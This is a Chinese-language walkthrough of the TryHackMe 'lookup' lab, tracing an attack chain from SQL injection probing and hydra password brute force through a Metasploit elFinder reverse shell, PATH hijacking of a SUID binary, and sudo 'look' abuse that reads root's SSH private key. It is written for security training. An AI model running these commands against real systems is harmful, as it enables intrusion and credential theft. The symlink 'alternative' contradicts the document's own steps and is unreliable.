lookup TryhackMe
字数 3816 2025-10-14 00:33:59

TryHackMe - 「lookup」渗透测试实战教学文档

概述

本教学文档基于TryHackMe的lookup靶机实战。该靶机涉及Web应用安全漏洞利用权限提升等多个核心知识点。核心攻击路径包括:通过SQL注入获取初始访问权限,利用路径劫持进行水平提权,最后通过滥用sudo权限实现根权限获取。

目标:获取两个标志性文件:

  1. user.txt
  2. root.txt

技术栈

  • 漏洞利用:SQL注入、本地文件包含(LFI)、路径劫持、sudo权限滥用。
  • 工具sqlmap, hydra, searchsploit, metasploit,以及基本的Linux命令。

第一阶段:信息收集与初始访问

1. 目标识别与扫描

  • 操作:将目标IP地址(10.201.45.109)与域名 lookup.thm 绑定,以便通过域名访问。
    • 命令:vim /etc/hosts
    • 添加内容:10.201.45.109 lookup.thm
  • 目的:许多Web应用依赖域名进行虚拟主机配置,直接使用IP可能无法正常访问。

2. Web应用探测与SQL注入

  • 发现:目标存在一个登录页面 http://lookup.thm/login.php
  • 漏洞利用:使用 sqlmap 对登录表单进行自动化SQL注入检测。
    • 命令
      sqlmap -u "http://lookup.thm/login.php" --data="username=test&password=test" --method=POST --level=5 --risk=3 --dbs
      
    • 参数解释
      • --data: 指定POST请求的数据。
      • --level--risk: 提高检测的强度和广度。
      • --dbs: 尝试枚举数据库。
  • 关键发现sqlmap 提示 username 参数存在动态响应,表明可能存在注入点。但直接枚举数据库可能受阻,转而采用更直接的方法:爆破用户名和密码

3. 凭证爆破

  • 用户名枚举:通过SQL注入或工具(如sqlmap--users选项)发现两个有效用户名:jose 和一个未知用户。
  • 密码爆破:使用 hydra 对用户 jose 进行密码爆破。
    • 命令
      hydra -l jose -P xato-net-10-million-passwords-10000.txt lookup.thm http-post-form "/login.php:username=^USER^&password=^PASS^:F=Wrong password. Please try again." -t 64
      
    • 参数解释
      • http-post-form: 指定基于POST表单的爆破。
      • F=Wrong password...: 指定登录失败时返回的页面特征,hydra 据此判断爆破是否成功。
  • 结果:成功获取到 jose 的密码。

4. 登录与进一步发现

  • 操作:使用 jose 的凭证登录系统。
  • 新目标:登录后,页面提示需要访问 file.lookup.thm
  • 操作:再次修改 /etc/hosts 文件,将 file.lookup.thm 也解析到同一IP。
    • 添加内容:10.201.45.109 file.lookup.thm
  • 重新访问:再次登录后,成功进入应用的主界面。

第二阶段:漏洞利用与获取初始Shell

1. 利用LFI漏洞

  • 发现:应用存在本地文件包含漏洞,可能通过参数(如?page=?file=)包含服务器上的任意文件。
  • 利用:使用 searchsploit 查找公开的LFI漏洞利用代码。
    • 命令searchsploit elfinder
    • 说明elfinder 是一个常见的Web文件管理器,历史上存在多个LFI和RCE漏洞。
  • 自动化利用:使用 metasploit 框架中的对应 exploit 模块。
    • 命令
      msfconsole
      search elfinder
      use <对应的exploit模块路径>
      set rhosts file.lookup.thm
      set lhost <你的VPN_IP>
      set lport <监听端口>
      run
      
  • 结果:成功利用漏洞,获取一个反向Shell,以www-data用户权限连接到攻击机。

2. 稳定Shell

  • 操作:将简单的反向Shell升级为完全交互式的TTY Shell,方便后续操作。
    • 命令
      python3 -c 'import pty; pty.spawn("/bin/bash")'
      
    • 效果:获得支持标签补全、历史命令等功能的完整Shell。

第三阶段:水平提权(www-data -> think)

1. 枚举系统用户

  • 操作:查找可以登录系统的用户。
    • 命令cat /etc/passwd | grep 'sh$'
    • 发现:除了josewww-data,还存在一个名为 think 的用户。

2. 发现SUID二进制文件与路径劫持

  • 操作:查找具有SUID权限的可执行文件,这些文件可能被利用来提权。
    • 命令find / -perm /4000 2>/dev/null
    • 关键发现:发现一个名为 pwm 的非标准SUID二进制文件。
  • 分析pwm程序
    • 运行:直接执行 pwm
    • 行为观察:程序首先执行 id 命令,然后根据 id 命令的输出(当前用户名),去读取 /home/<username>/.passwords 文件。
  • 攻击思路 - 路径劫持
    1. pwm 调用了 id 命令,但没有使用绝对路径(如 /usr/bin/id)。
    2. Linux系统通过 PATH 环境变量来查找命令。
    3. 我们可以通过控制 PATH,让系统优先执行我们自定义的恶意 id 脚本,而不是真正的 id 命令。
  • 攻击步骤
    1. 查看当前PATHecho $PATH
    2. 创建恶意id脚本:在 /tmp 目录下创建一个名为 id 的脚本,内容为伪造的 id 命令输出,将用户名伪装成 think
      echo -e '#!/bin/bash\necho "uid=33(think) gid=33(think) groups=33(think)"' > /tmp/id
      
    3. 赋予执行权限chmod +x /tmp/id
    4. 修改PATH环境变量:让系统先在 /tmp 目录下寻找命令。
      export PATH=/tmp:$PATH
      
    5. 执行pwm:再次运行 pwm。此时,它会执行我们恶意的 /tmp/id 脚本,并认为当前用户是 think,进而去读取 /home/think/.passwords 文件。
  • 结果:成功获取到 think 用户的密码(或密码列表)。

3. 切换至think用户

  • 操作:使用获取到的密码通过SSH登录到 think 用户。
    • 命令hydra -l think -P password.txt ssh://lookup.thm (如果密码是列表) 或直接 ssh think@lookup.thm
  • 成果:成功登录,并找到第一个标志文件 user.txt

第四阶段:垂直提权(think -> root)

1. 枚举sudo权限

  • 操作:检查 think 用户可以使用 sudo 执行哪些命令。
    • 命令sudo -l
  • 关键发现
    User think may run the following commands on ip-10-201-3-252:
    (ALL) /usr/bin/look
    
    • 这表示 think 用户可以以 root权限 运行 /usr/bin/look 命令。

2. 滥用sudo权限 - 利用look命令读取任意文件

  • look命令说明look 命令默认在系统中查找以给定字符串开头的单词。但它有一个关键特性:如果指定了文件名,它会读取该文件。
  • 攻击思路:由于我们可以以root权限运行 look,并且可以指定文件,那么我们就可以读取系统上的任何文件,包括属于root用户的敏感文件。
  • 利用方法
    1. 读取root的SSH私钥。
      • 命令sudo /usr/bin/look '' /root/.ssh/id_rsa
      • 技巧:将查找字符串设为空 '',这样 look 会读取整个文件内容并输出到屏幕。
    2. 将输出的私钥内容复制到攻击机的本地文件(例如 root_key)。
    3. 修改私钥文件权限为600(仅当前用户可读)。
      • 命令chmod 600 root_key
    4. 使用此私钥直接以root身份SSH登录目标。
      • 命令ssh -i root_key root@lookup.thm

3. 替代思路(文档中提及的巧妙方法)

在第一次提权(www-data -> think)时,可以提前为root的私钥创建一个符号链接,这样在利用pwm程序时就能直接获取。

  • 操作:在获得www-data shell后,执行:
    ln -s /root/.ssh/id_rsa /var/www/html/.passwords
    
  • 原理:当pwm程序以root权限(通过路径劫持欺骗后)去读取/home/think/.passwords时,如果此文件不存在,但我们在/var/www/html下创建了符号链接,程序可能会错误地读取到符号链接指向的root私钥。这是一种更巧妙的“一石二鸟”的方法。

最终成果

成功获得root权限,找到第二个标志文件 root.txt,完成整个渗透测试。


知识点总结

  1. SQL注入:自动化工具sqlmap的使用是Web渗透的起点。
  2. 凭证爆破hydra是进行网络服务爆破的强大工具。
  3. 本地文件包含searchsploitmetasploit在利用已知漏洞时极其高效。
  4. Shell稳定化:使用Python快速获取交互式Shell。
  5. Linux权限提升
    • 路径劫持:当SUID程序调用未指定绝对路径的命令时,通过控制PATH环境变量实现权限提升。
    • SUID权限滥用find / -perm /4000是提权枚举的关键命令。
    • Sudo权限滥用sudo -l必须检查。即使是一个看似无害的命令(如look),如果配置不当(允许以root身份运行且无限制),也能成为读取敏感文件的利器。
  6. 符号链接攻击:利用符号链接指向敏感文件,是组合漏洞利用的高级技巧。

这份文档详尽地还原了“lookup”靶机的攻击链,希望对你的学习有所帮助。

TryHackMe - 「lookup」渗透测试实战教学文档 概述 本教学文档基于TryHackMe的 lookup 靶机实战。该靶机涉及 Web应用安全 、 漏洞利用 和 权限提升 等多个核心知识点。核心攻击路径包括:通过SQL注入获取初始访问权限,利用路径劫持进行水平提权,最后通过滥用 sudo 权限实现根权限获取。 目标 :获取两个标志性文件: user.txt root.txt 技术栈 : 漏洞利用 :SQL注入、本地文件包含(LFI)、路径劫持、sudo权限滥用。 工具 : sqlmap , hydra , searchsploit , metasploit ,以及基本的Linux命令。 第一阶段:信息收集与初始访问 1. 目标识别与扫描 操作 :将目标IP地址( 10.201.45.109 )与域名 lookup.thm 绑定,以便通过域名访问。 命令: vim /etc/hosts 添加内容: 10.201.45.109 lookup.thm 目的 :许多Web应用依赖域名进行虚拟主机配置,直接使用IP可能无法正常访问。 2. Web应用探测与SQL注入 发现 :目标存在一个登录页面 http://lookup.thm/login.php 。 漏洞利用 :使用 sqlmap 对登录表单进行自动化SQL注入检测。 命令 : 参数解释 : --data : 指定POST请求的数据。 --level 和 --risk : 提高检测的强度和广度。 --dbs : 尝试枚举数据库。 关键发现 : sqlmap 提示 username 参数存在动态响应,表明可能存在注入点。但直接枚举数据库可能受阻,转而采用更直接的方法: 爆破用户名和密码 。 3. 凭证爆破 用户名枚举 :通过SQL注入或工具(如 sqlmap 的 --users 选项)发现两个有效用户名: jose 和一个未知用户。 密码爆破 :使用 hydra 对用户 jose 进行密码爆破。 命令 : 参数解释 : http-post-form : 指定基于POST表单的爆破。 F=Wrong password... : 指定登录失败时返回的页面特征, hydra 据此判断爆破是否成功。 结果 :成功获取到 jose 的密码。 4. 登录与进一步发现 操作 :使用 jose 的凭证登录系统。 新目标 :登录后,页面提示需要访问 file.lookup.thm 。 操作 :再次修改 /etc/hosts 文件,将 file.lookup.thm 也解析到同一IP。 添加内容: 10.201.45.109 file.lookup.thm 重新访问 :再次登录后,成功进入应用的主界面。 第二阶段:漏洞利用与获取初始Shell 1. 利用LFI漏洞 发现 :应用存在本地文件包含漏洞,可能通过参数(如 ?page= 或 ?file= )包含服务器上的任意文件。 利用 :使用 searchsploit 查找公开的LFI漏洞利用代码。 命令 : searchsploit elfinder 说明 : elfinder 是一个常见的Web文件管理器,历史上存在多个LFI和RCE漏洞。 自动化利用 :使用 metasploit 框架中的对应 exploit 模块。 命令 : 结果 :成功利用漏洞,获取一个反向Shell,以 www-data 用户权限连接到攻击机。 2. 稳定Shell 操作 :将简单的反向Shell升级为完全交互式的TTY Shell,方便后续操作。 命令 : 效果 :获得支持标签补全、历史命令等功能的完整Shell。 第三阶段:水平提权(www-data -> think) 1. 枚举系统用户 操作 :查找可以登录系统的用户。 命令 : cat /etc/passwd | grep 'sh$' 发现 :除了 jose 和 www-data ,还存在一个名为 think 的用户。 2. 发现SUID二进制文件与路径劫持 操作 :查找具有SUID权限的可执行文件,这些文件可能被利用来提权。 命令 : find / -perm /4000 2>/dev/null 关键发现 :发现一个名为 pwm 的非标准SUID二进制文件。 分析 pwm 程序 : 运行 :直接执行 pwm 。 行为观察 :程序首先执行 id 命令,然后根据 id 命令的输出(当前用户名),去读取 /home/<username>/.passwords 文件。 攻击思路 - 路径劫持 : pwm 调用了 id 命令,但没有使用绝对路径(如 /usr/bin/id )。 Linux系统通过 PATH 环境变量来查找命令。 我们可以通过控制 PATH ,让系统优先执行我们自定义的恶意 id 脚本,而不是真正的 id 命令。 攻击步骤 : 查看当前PATH : echo $PATH 创建恶意 id 脚本 :在 /tmp 目录下创建一个名为 id 的脚本,内容为伪造的 id 命令输出,将用户名伪装成 think 。 赋予执行权限 : chmod +x /tmp/id 修改PATH环境变量 :让系统先在 /tmp 目录下寻找命令。 执行 pwm :再次运行 pwm 。此时,它会执行我们恶意的 /tmp/id 脚本,并认为当前用户是 think ,进而去读取 /home/think/.passwords 文件。 结果 :成功获取到 think 用户的密码(或密码列表)。 3. 切换至think用户 操作 :使用获取到的密码通过SSH登录到 think 用户。 命令 : hydra -l think -P password.txt ssh://lookup.thm (如果密码是列表) 或直接 ssh think@lookup.thm 。 成果 :成功登录,并找到第一个标志文件 user.txt 。 第四阶段:垂直提权(think -> root) 1. 枚举sudo权限 操作 :检查 think 用户可以使用 sudo 执行哪些命令。 命令 : sudo -l 关键发现 : 这表示 think 用户可以以 root权限 运行 /usr/bin/look 命令。 2. 滥用sudo权限 - 利用 look 命令读取任意文件 look 命令说明 : look 命令默认在系统中查找以给定字符串开头的单词。但它有一个关键特性:如果指定了文件名,它会读取该文件。 攻击思路 :由于我们可以以root权限运行 look ,并且可以指定文件,那么我们就可以读取系统上的任何文件,包括属于root用户的敏感文件。 利用方法 : 读取root的SSH私钥。 命令 : sudo /usr/bin/look '' /root/.ssh/id_rsa 技巧 :将查找字符串设为空 '' ,这样 look 会读取整个文件内容并输出到屏幕。 将输出的私钥内容复制到攻击机的本地文件(例如 root_key )。 修改私钥文件权限为600(仅当前用户可读)。 命令 : chmod 600 root_key 使用此私钥直接以root身份SSH登录目标。 命令 : ssh -i root_key root@lookup.thm 3. 替代思路(文档中提及的巧妙方法) 在第一次提权( www-data -> think )时,可以提前为root的私钥创建一个符号链接,这样在利用 pwm 程序时就能直接获取。 操作 :在获得 www-data shell后,执行: 原理 :当 pwm 程序以root权限(通过路径劫持欺骗后)去读取 /home/think/.passwords 时,如果此文件不存在,但我们在 /var/www/html 下创建了符号链接,程序可能会错误地读取到符号链接指向的root私钥。这是一种更巧妙的“一石二鸟”的方法。 最终成果 成功获得root权限,找到第二个标志文件 root.txt ,完成整个渗透测试。 知识点总结 SQL注入 :自动化工具 sqlmap 的使用是Web渗透的起点。 凭证爆破 : hydra 是进行网络服务爆破的强大工具。 本地文件包含 : searchsploit 和 metasploit 在利用已知漏洞时极其高效。 Shell稳定化 :使用Python快速获取交互式Shell。 Linux权限提升 : 路径劫持 :当SUID程序调用未指定绝对路径的命令时,通过控制 PATH 环境变量实现权限提升。 SUID权限滥用 : find / -perm /4000 是提权枚举的关键命令。 Sudo权限滥用 : sudo -l 必须检查。即使是一个看似无害的命令(如 look ),如果配置不当(允许以root身份运行且无限制),也能成为读取敏感文件的利器。 符号链接攻击 :利用符号链接指向敏感文件,是组合漏洞利用的高级技巧。 这份文档详尽地还原了“lookup”靶机的攻击链,希望对你的学习有所帮助。